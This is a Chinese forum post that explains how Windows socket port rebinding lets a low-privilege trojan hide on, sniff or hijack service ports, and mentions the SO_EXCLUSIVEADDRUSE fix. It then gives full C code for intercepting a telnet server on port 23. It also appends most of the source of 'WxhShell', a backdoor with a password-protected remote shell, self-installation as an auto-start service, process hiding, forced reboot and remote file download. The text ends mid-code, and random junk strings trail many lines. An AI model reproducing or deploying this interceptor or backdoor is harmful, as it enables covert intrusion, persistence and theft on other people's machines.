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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?l\gh1{C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C0t+Q  
,E*a$cCw  
  saddr.sin_family = AF_INET; ? RR Srr1  
e6{[o@aM{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .yK\&q[<  
s3MMICRT.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "W_jdE6v  
=M/ UHOY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z!]U&Ax`Z  
e_>rJWI}  
  这意味着什么?意味着可以进行如下的攻击: o-Q]Dk1W  
lJ2|jFY9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S1H47<)UF  
zulf%aaL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a O"nD_7  
h 0QYoDvbC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ctc`^#q  
i">z8?qF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G!e}j @@  
u'$yYzBE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m]-v IUpb  
x;ICV%g/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :{wsd$Qlj  
}> !"SU:d  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7'{Yz  
-_{C+Y_  
  #include l $p_])x  
  #include (Qx-KRH  
  #include h87L8qh9  
  #include    h-2E9Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OU)p)Y_z  
  int main() mf*9^}l+Zn  
  { {x&jh|f`g  
  WORD wVersionRequested; *&hXJJ[+  
  DWORD ret; 7G>0,'XC  
  WSADATA wsaData; ~P]HG;$?n  
  BOOL val; -h G 9  
  SOCKADDR_IN saddr; r_g\_y7ua  
  SOCKADDR_IN scaddr; Cb@S </b  
  int err; ohc/.5Kl  
  SOCKET s; <PfPh~  
  SOCKET sc; CYFas:rPLT  
  int caddsize; < ;%q  
  HANDLE mt; !0. 5  
  DWORD tid;   XD+cs.{5  
  wVersionRequested = MAKEWORD( 2, 2 ); * 0&i'0>  
  err = WSAStartup( wVersionRequested, &wsaData ); #>=/15:  
  if ( err != 0 ) { j quSR=  
  printf("error!WSAStartup failed!\n"); w}bEufU+2  
  return -1; ^+- L;XkeY  
  } $^NWzc  
  saddr.sin_family = AF_INET; WfTdD.Xx  
   2=Y_Qrhi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1(:=j Ofk  
rd"]@ ~v1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F;MT4*4  
  saddr.sin_port = htons(23); $Va]vC8?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #a'x)$2;R|  
  { :`>+f.)  
  printf("error!socket failed!\n"); Z z; <P  
  return -1; {Jw<<<G  
  } W &0@&U  
  val = TRUE; Z '>eT)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G%p!os\>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :WfB!4%!  
  { B 1d%#  
  printf("error!setsockopt failed!\n"); !(ux.T0  
  return -1; >D p6@%  
  } X^ ^?}>t[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^zWO[$n}tP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }%>$}4 ,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IjB*myN.  
Z;~E+dXC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >h!.Gj  
  { 8v)~J}[Bz  
  ret=GetLastError(); !{]v='   
  printf("error!bind failed!\n"); Y^jnlS)h  
  return -1; S^Wqa:;  
  } SG|i/K|7  
  listen(s,2); <k-@R!K~JC  
  while(1) U70@}5!  
  { R8r[;u\iV  
  caddsize = sizeof(scaddr); H`6Jq?\  
  //接受连接请求 l LD)i J1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,Y\4xg*`  
  if(sc!=INVALID_SOCKET) Zs$RKJ7  
  { h$ETH1Ue  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ay"2W%([`  
  if(mt==NULL) B> " r-O  
  { t!=~5YgKs  
  printf("Thread Creat Failed!\n"); #g`cih=QL  
  break; 7Yw\%}UL  
  } !DX/^b  
  } $Z7|t  
  CloseHandle(mt); W'2-3J  
  } R:IS4AaS  
  closesocket(s); Lq $4.l[j  
  WSACleanup(); 2W:?#h3  
  return 0; a@=36gx)  
  }   :{N3o:  
  DWORD WINAPI ClientThread(LPVOID lpParam) DHumBnQ  
  { }Mb'tGW  
  SOCKET ss = (SOCKET)lpParam; _F|_C5A  
  SOCKET sc; p4t!T=o/  
  unsigned char buf[4096]; ^a#&wW  
  SOCKADDR_IN saddr; Q0"F> %Cn  
  long num; fddbXs0Sn  
  DWORD val; QWW7I.9r  
  DWORD ret; (Q]Y> '  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4\'81"e i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dG~B3xg;5i  
  saddr.sin_family = AF_INET; &CeF^   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :: 72~'tw  
  saddr.sin_port = htons(23); >yT@?!/Q>'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zm3MOH^a  
  { ~lalc ^  
  printf("error!socket failed!\n"); < ,cIc]eX  
  return -1; HxqV[|}0u  
  } >A(?Pn{|a  
  val = 100; i e)1h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i!}nGJGg  
  { }Ka.bZS  
  ret = GetLastError(); ;!Z7-OZX  
  return -1; o` 1V  
  } s)DNLx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m6Cd^'J9^  
  { E~@HC5.M  
  ret = GetLastError(); 89- 8v^ Pq  
  return -1; ~CdseSo 9  
  } =#")G1A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 19-yM`O  
  { &Cpxo9-  
  printf("error!socket connect failed!\n"); -MW(={#   
  closesocket(sc); Y./}zCT  
  closesocket(ss); 4k2c mM$  
  return -1; yb.|7U?/x  
  } {_X1&&>8/  
  while(1) "O1*uwm  
  { HYYx*CJ)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [#rdfN'?U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K84cE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H6CGc0NS+  
  num = recv(ss,buf,4096,0); qH$rvD!]  
  if(num>0) ?Nze P?g  
  send(sc,buf,num,0); .L{+O6*c  
  else if(num==0) b%jG?HSu  
  break; (kNTXhAr4  
  num = recv(sc,buf,4096,0); GGQ(|?w  
  if(num>0) =^AZx)Kwd  
  send(ss,buf,num,0); +?txGHQq  
  else if(num==0) GKx,6E#JM  
  break; @P5@ &G  
  } Ft8h=  
  closesocket(ss); f5qHBQ  
  closesocket(sc); D& 6Qk&>  
  return 0 ; Eno2<<  
  } CU^3L|f2N  
@C [|'[xQ  
G@<lwnvD*J  
========================================================== \C2P{q/m  
{,C8}8 a W  
下边附上一个代码,,WXhSHELL j72] _G  
+P)[|y +e  
========================================================== nV xMo_  
^8*SCM_A  
#include "stdafx.h" J8?6G&0H  
'xXqEwi4  
#include <stdio.h> M "P  
#include <string.h> Y+`-~ 88  
#include <windows.h> 0i(?LI_S  
#include <winsock2.h> ggsi`Z{j?  
#include <winsvc.h> rxI&;F#  
#include <urlmon.h> tBI+uu aa2  
s=Q*|  
#pragma comment (lib, "Ws2_32.lib") X*yp=qI  
#pragma comment (lib, "urlmon.lib") HYnqx>L ~  
+rpd0s49  
#define MAX_USER   100 // 最大客户端连接数 (tLQX~Ur  
#define BUF_SOCK   200 // sock buffer 12' (MAP  
#define KEY_BUFF   255 // 输入 buffer ^PR,TR.  
]S aH/$  
#define REBOOT     0   // 重启 pV|?dQ  
#define SHUTDOWN   1   // 关机 T9<nD"=:  
Zy3&Zt  
#define DEF_PORT   5000 // 监听端口 4lf36K ,  
m7eIhmP  
#define REG_LEN     16   // 注册表键长度 $D\l%y/C  
#define SVC_LEN     80   // NT服务名长度 ~#km0<r?  
:.<TWBoV  
// 从dll定义API eo52X &I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gWH9=%!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0HuRFl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n:."ZBtY*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $ 14DTjj  
3U.qN0]  
// wxhshell配置信息 "t&k{\$\  
struct WSCFG { 207oE O]  
  int ws_port;         // 监听端口 i/Lq2n3 )  
  char ws_passstr[REG_LEN]; // 口令 % j{pz  
  int ws_autoins;       // 安装标记, 1=yes 0=no zd4y5/aoS  
  char ws_regname[REG_LEN]; // 注册表键名 4 Wd5Goe:  
  char ws_svcname[REG_LEN]; // 服务名 w*P4_= :%Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yBh"qnOT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VgTI2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NWN)b&}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `(suRp8!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `+;oo B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zP'pfBgbJW  
< LAD  
}; LVl0:!>~  
(NN14  
// default Wxhshell configuration GZVl384@  
struct WSCFG wscfg={DEF_PORT, 4l UE(#kUM  
    "xuhuanlingzhe", '#::ba[9w  
    1, J}KktD@!O  
    "Wxhshell", 8"UG&wLT  
    "Wxhshell", R:^?6f<Z}  
            "WxhShell Service", +p<R'/  
    "Wrsky Windows CmdShell Service", =>%%]0  
    "Please Input Your Password: ", `0sk2fn  
  1, oxXW`C<  
  "http://www.wrsky.com/wxhshell.exe", 0BE^qe  
  "Wxhshell.exe" Z9~Wlt'?  
    }; [F{a-i-  
z9O/MHT[w  
// 消息定义模块 )K3 vzX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tg3JU\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O t<%gj;^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |L{dQ)-'l  
char *msg_ws_ext="\n\rExit."; !Y(qpC:$  
char *msg_ws_end="\n\rQuit."; ;]x5;b9`  
char *msg_ws_boot="\n\rReboot..."; 6YGr"Kj &  
char *msg_ws_poff="\n\rShutdown..."; lS-i9U/,>  
char *msg_ws_down="\n\rSave to "; K -1~K  
\ySc uT  
char *msg_ws_err="\n\rErr!"; n(S-F g  
char *msg_ws_ok="\n\rOK!"; d'fpaLV  
(k.7q~:  
char ExeFile[MAX_PATH]; %,D%Q~  
int nUser = 0; {5-{f=Rk  
HANDLE handles[MAX_USER]; ]3jH^7[?  
int OsIsNt; TFPq(i  
%k)I =|  
SERVICE_STATUS       serviceStatus; "0)G|pZI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pT$AdvI]  
&uW.V+3  
// 函数声明 # |[@Due  
int Install(void); )!-'SH  
int Uninstall(void); o}Np}PE6  
int DownloadFile(char *sURL, SOCKET wsh); FWTl:LqFO  
int Boot(int flag); mLA$ F4/K  
void HideProc(void); j=>G fo  
int GetOsVer(void); P32'`!/:  
int Wxhshell(SOCKET wsl); ofCP>Z-  
void TalkWithClient(void *cs); 8}T3Fig,q  
int CmdShell(SOCKET sock); )E2Lf ]  
int StartFromService(void); &r!>2$B\  
int StartWxhshell(LPSTR lpCmdLine); (oEA)yc|  
L$Z_j()2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S @($c'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kO4~N-&  
?=rh=#  
// 数据结构和表定义 Av]N.HB$  
SERVICE_TABLE_ENTRY DispatchTable[] = 7z&u92dJI  
{ imQNfNm  
{wscfg.ws_svcname, NTServiceMain}, 2Jv4l$$;*  
{NULL, NULL} SX;IUvVE5  
}; 1bs95Fh9Q  
iO`f{?b  
// 自我安装 bYH_U4b  
int Install(void) }C#d;JC  
{ k"zHrn"$  
  char svExeFile[MAX_PATH]; 5L#M7E  
  HKEY key; x#j_}L!V;  
  strcpy(svExeFile,ExeFile); O v6=|]cW  
a9Rh  
// 如果是win9x系统,修改注册表设为自启动 M!'tD!NWc  
if(!OsIsNt) { pl&GFf o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N6'Y N10  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9z}kkYk  
  RegCloseKey(key); Wfy+7$14M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hp}8 3.oA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O0RQ}~$'m  
  RegCloseKey(key); k{62UaL.  
  return 0; w2GY,,R  
    } Ta$<#wb  
  }  I9 m  
} q1Mk_(4oJ  
else { i%w'Cs0y  
%SXqJW^:  
// 如果是NT以上系统,安装为系统服务 r; !us~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5S bSz!s`$  
if (schSCManager!=0) c2"OpI  
{ YN[D^;}  
  SC_HANDLE schService = CreateService ' ?t{-z,  
  ( t-/^O  
  schSCManager, "p\KePc;@  
  wscfg.ws_svcname, gO36tc:ce  
  wscfg.ws_svcdisp, 7\lc aC@  
  SERVICE_ALL_ACCESS, u e~1144  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zV#k #/$  
  SERVICE_AUTO_START, St<\qC  
  SERVICE_ERROR_NORMAL, 5Z{[.&x  
  svExeFile, Ycm1 _z  
  NULL, u 05O[>w  
  NULL, z)Gr`SA<  
  NULL, ><HXd+- sd  
  NULL, _qfdk@@g  
  NULL =6:Iv"<  
  ); bfgLU.1I  
  if (schService!=0) 9UX-)!  
  { j^M@0o  
  CloseServiceHandle(schService); S1JB]\  
  CloseServiceHandle(schSCManager); ga1RMRu+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EIAT*l:NW  
  strcat(svExeFile,wscfg.ws_svcname); J u7AxTf~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @*dA<N.9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FS[CUoA  
  RegCloseKey(key); kJ >B)  
  return 0; Y&?]t  
    } r38CPdE;}  
  } 1Mqz+@~11  
  CloseServiceHandle(schSCManager); GS@ wG  
} +8"H%#~  
} {S c1!2q  
6}0#({s:R  
return 1; WqAP'x 1  
} Bvwk6NBN  
3.Qwn.   
// 自我卸载 m`t7-kiZ  
int Uninstall(void) ;|c,  
{ ):\L#>:w  
  HKEY key; 42~;/4  
hLF@'ln  
if(!OsIsNt) { LT!4pD:a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q#1um @m3  
  RegDeleteValue(key,wscfg.ws_regname); &o(? }W  
  RegCloseKey(key); XOoND  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (1R,   
  RegDeleteValue(key,wscfg.ws_regname); 99x]DY  
  RegCloseKey(key); <K~#@.^`  
  return 0; |<S9nZg%p  
  } (fl2?d5+C  
} rmhB!Lo  
} ;X>KP,/r$  
else { /D~:Ufw  
Vs(;al'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yl*S|= 8;k  
if (schSCManager!=0) U i;o/Z3  
{ 6Dch+*4*@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >13=4S  
  if (schService!=0) }  ?  
  { :98Pe6  
  if(DeleteService(schService)!=0) { > 2$M~to"1  
  CloseServiceHandle(schService); _\"?:~rUN  
  CloseServiceHandle(schSCManager); k0,~wn\#h  
  return 0; !Bd2$y.  
  } ^#%[  
  CloseServiceHandle(schService); +r '  
  } \J6T:jeS,  
  CloseServiceHandle(schSCManager); X~x]VKr/  
} WWY9U  
} F4@h} T5)  
][9M_.  
return 1; Yq.Omr!  
} 5p750`n  
TE/2}XG)  
// 从指定url下载文件 }=++Lr4*  
int DownloadFile(char *sURL, SOCKET wsh) N$. ''D?7D  
{ edch'H^2+P  
  HRESULT hr; joa$Y6  
char seps[]= "/"; h/X),aK3  
char *token; aJ2-BRn  
char *file; *`\>J.  
char myURL[MAX_PATH]; ,30&VW##  
char myFILE[MAX_PATH]; btee;3`  
7XZ!UC;i  
strcpy(myURL,sURL); PR Y)hb;1  
  token=strtok(myURL,seps); |_-FQ~Hf F  
  while(token!=NULL) [scPs,5Y  
  { 2o,%O91p  
    file=token; ^<< Wqmx  
  token=strtok(NULL,seps); ^LZU><{';  
  } " jy'Dpy0m  
atY m.qb  
GetCurrentDirectory(MAX_PATH,myFILE); K@h v[4  
strcat(myFILE, "\\"); Ly3^zF W  
strcat(myFILE, file); |*!I(wm2i  
  send(wsh,myFILE,strlen(myFILE),0); z\v\T|C  
send(wsh,"...",3,0); 5}1cNp6@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rZ^DiFR  
  if(hr==S_OK) QjPcfR\  
return 0; >XA#/K  
else  N3E=t#n  
return 1; o zv><e#  
Lq yY??\@  
} _m@QeO'yh  
K'y;j~`-  
// 系统电源模块 jn]{|QZ  
int Boot(int flag) )@Ly{cw   
{ Iu%S><'+  
  HANDLE hToken; CFVe0!\  
  TOKEN_PRIVILEGES tkp; &a O3N  
G|.>p<q   
  if(OsIsNt) { <pz;G}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $U<xrN>O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,Xao{o(  
    tkp.PrivilegeCount = 1; CfAX,f"ZP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bd9]'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,1od]]>(O  
if(flag==REBOOT) { 1Ocyrn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5gi`&t`  
  return 0; Wh"oL;O  
} !\CoJ.5=  
else { ^;N +"oq!y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e1K,4 Bq  
  return 0; 8J Gt|,  
} )Nk^;[  
  } MOdodyG  
  else { 3:!+B=woR  
if(flag==REBOOT) { TR]~r2z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'Exj|Y&  
  return 0; u=A&n6Q[Vo  
} MAhcwmZNy  
else { J-hP4t&x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T0v;8E e  
  return 0; u3Ua>A-  
} #R@{Bu=C  
} ? %F*{3IP  
(`xhh  
return 1; ?> }bg  
} 2\W[ ItxL0  
J'|qFS  
// win9x进程隐藏模块 5|";L&`  
void HideProc(void) nRJcYl~ Y  
{ Td}#o!4!  
_yumUk-QW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e!Y:UB2 7u  
  if ( hKernel != NULL ) o`7Bvh2  
  { //Ck1cI#h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0[ jy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <Jv %}r  
    FreeLibrary(hKernel); ZEp UHdin  
  } IA! ( 'Ks  
-ZBk^p  
return; L+bU~N,+A  
} u-=%gx"Di  
>#<o7]  
// 获取操作系统版本 fHdPav f,S  
int GetOsVer(void) )EcE{!H6+  
{ Ag^Cb'3X  
  OSVERSIONINFO winfo; _m#M^<0n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yu`b[]W  
  GetVersionEx(&winfo); t L}i%7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y&'Bl$`  
  return 1; 4#!NVI3t  
  else W/OZ}ky}^  
  return 0; }>>lgW>n,;  
} P'xq+Q  
s `U.h^V  
// 客户端句柄模块 p=V (_  
int Wxhshell(SOCKET wsl) vE^Hk!^  
{ L]I)E` s  
  SOCKET wsh; 5v<BB`XWp  
  struct sockaddr_in client; _0<qS{RW  
  DWORD myID; XOAZ  
.A//Q|ot!  
  while(nUser<MAX_USER) <:fjWy  
{ dnSjXyjFB  
  int nSize=sizeof(client); a 39Kl_\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "WV]| TS"]  
  if(wsh==INVALID_SOCKET) return 1; q4C$-W%rj  
HNu/b)-Rb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <p;cR` %uE  
if(handles[nUser]==0) [/.o>R#J(  
  closesocket(wsh); 9X/c%:)\=  
else WgF Xv@Jjt  
  nUser++; T1.`*,t)=  
  } u|z B\zd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $fR[zBxA  
L&H 4fy!>  
  return 0; UEbRg =6  
} RBd{1on  
6lpfk&  
// 关闭 socket ;9MsV.n  
void CloseIt(SOCKET wsh) +}@1X&v:  
{ b`)^Ao:  
closesocket(wsh); +ffs{g{  
nUser--; %}t.+z(S  
ExitThread(0); dcew`$SJp  
} -$yNJ5F`  
8wKF.+_A  
// 客户端请求句柄 tG+ E'OP  
void TalkWithClient(void *cs) )o-rg  
{ HdQd =q(  
R s_bM@  
  SOCKET wsh=(SOCKET)cs; `VM@-;@w  
  char pwd[SVC_LEN]; !)FM/Xj,o  
  char cmd[KEY_BUFF]; h6)hZ'zV  
char chr[1]; _]j=[|q 9  
int i,j; [mw#a9  
.NCQiQ  
  while (nUser < MAX_USER) { aZ5qq+1x  
{ zlq6z  
if(wscfg.ws_passstr) { ^nkwT~Bya  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 66:|)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6C r$R]5  
  //ZeroMemory(pwd,KEY_BUFF); P M9HfQU?  
      i=0; m(B6FPjr  
  while(i<SVC_LEN) { |8`}yRsQ  
[DGq{(O  
  // 设置超时 A"vI6ud>  
  fd_set FdRead; bCd! ap+#  
  struct timeval TimeOut; Qyt6+xL  
  FD_ZERO(&FdRead); Sl:\5]'yJ  
  FD_SET(wsh,&FdRead); - /#3U{O  
  TimeOut.tv_sec=8; b'3#FI=:  
  TimeOut.tv_usec=0; qbqJ1^!6R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8 Sl[&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0<nKB}9  
? Z1pPd@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f,t[`0 va  
  pwd=chr[0]; ut3jIZ1]  
  if(chr[0]==0xd || chr[0]==0xa) { &_q;X;}  
  pwd=0; um&N|5lHb  
  break; 5mER&SX  
  } Rv.W~FE^  
  i++; Ko/_w_  
    } *$`r)pV%AK  
168U-<  
  // 如果是非法用户,关闭 socket F b`V.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oJ6 d:  
} J)'6 z  
:JW~$4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O~'1)k>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HFo}r~  
[USXNe/  
while(1) { 7:bqh$3!s  
(9Hc`gd)p  
  ZeroMemory(cmd,KEY_BUFF); @3VL _g:  
=%2 E|/  
      // 自动支持客户端 telnet标准   [jAhw>  
  j=0; hzKfYJcQ|  
  while(j<KEY_BUFF) { (O?z6g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <6v7_  
  cmd[j]=chr[0]; g](m& O  
  if(chr[0]==0xa || chr[0]==0xd) { <@JU0Z"a=  
  cmd[j]=0; 2"BlV *\lS  
  break; yv$MQ~]  
  } Hsp|<;Yg  
  j++; Qf=%%5+?8  
    } Wz=ZhE9g  
>z[d ~  
  // 下载文件 2GZUMXK  
  if(strstr(cmd,"http://")) { HL88  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m#8}!u&  
  if(DownloadFile(cmd,wsh)) Bu 6t3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bm~>w`1wK  
  else ;uba  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >!bYuVHA  
  } U$Ew,v<  
  else { >D-$M_  
/f0_mi,bD  
    switch(cmd[0]) { _fMooI)U1  
  |d{(&s}  
  // 帮助 ry7(V:ic  
  case '?': { K.X% Q,XD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (\WePOy&  
    break; {/n$Y|TIQt  
  } JmY"Ja,&  
  // 安装 i"_f46r P  
  case 'i': { ~_S`zzcZy4  
    if(Install()) [FC%_R&&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \[,7#  
    else oiFtPki  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n`^</0  
    break; (TnYUyFP`  
    } v- {kPc=:#  
  // 卸载 `P# h?tZ  
  case 'r': { OW #pBeX99  
    if(Uninstall()) '}!dRpx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dF FB\|e;0  
    else kV(?u_ R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #m8Oy|Y9`  
    break; .(`u'G=  
    } $1?YVA7  
  // 显示 wxhshell 所在路径 7 51\K`L  
  case 'p': { N0.-#Qa  
    char svExeFile[MAX_PATH]; d6M d~$R  
    strcpy(svExeFile,"\n\r"); $"_D"/*  
      strcat(svExeFile,ExeFile); {ifYr(|p`  
        send(wsh,svExeFile,strlen(svExeFile),0); =x[`W9.D  
    break; hob%'Y5%D  
    } V}aXS;(r%  
  // 重启 wz:wR+  
  case 'b': { i 5_g z>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d[O.UzQ  
    if(Boot(REBOOT)) re^1fv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0} {QQB  
    else { H:~LL0Md%  
    closesocket(wsh); hPEK@  
    ExitThread(0); M rVtxzH  
    } fY-{,+ `'  
    break; &}P62&  
    } 5gEUE{S  
  // 关机 !hJKI.XH  
  case 'd': { ,:;_j<g`e  
